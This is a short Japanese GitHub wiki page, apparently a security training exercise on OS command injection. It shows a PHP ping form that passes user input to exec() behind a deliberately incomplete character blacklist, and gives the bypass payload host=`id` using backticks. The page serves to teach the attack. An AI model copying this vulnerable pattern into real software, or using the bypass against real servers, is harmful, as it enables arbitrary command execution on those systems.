OSコマンドインジェクション 03 - yujitounai/helloworld GitHub Wiki
ユーザーの入力値を使ってOSコマンドを実行している 不十分なフィルタリングが行われているのでバイパスする
<div class="box">
<form method="get" action="">ping
<input name="host" type="text">
<input type="submit">
</form>
</div>
<?php
$host=filter_input(INPUT_GET, 'host');
if (preg_match("/[!@#$%\\^&*()_+=\[\]{}';:,?~|]/", $host)) {
exit('Filtered');
} else {
$r = exec('ping -c 1 -W 1 '. $host .' 2>&1',$output, $retval);
echo $r;
foreach($output as $value){
echo $value;
echo "<br>\n";
}
}
?>
バッククオートを使う
``oscommand-03.php?host=`id```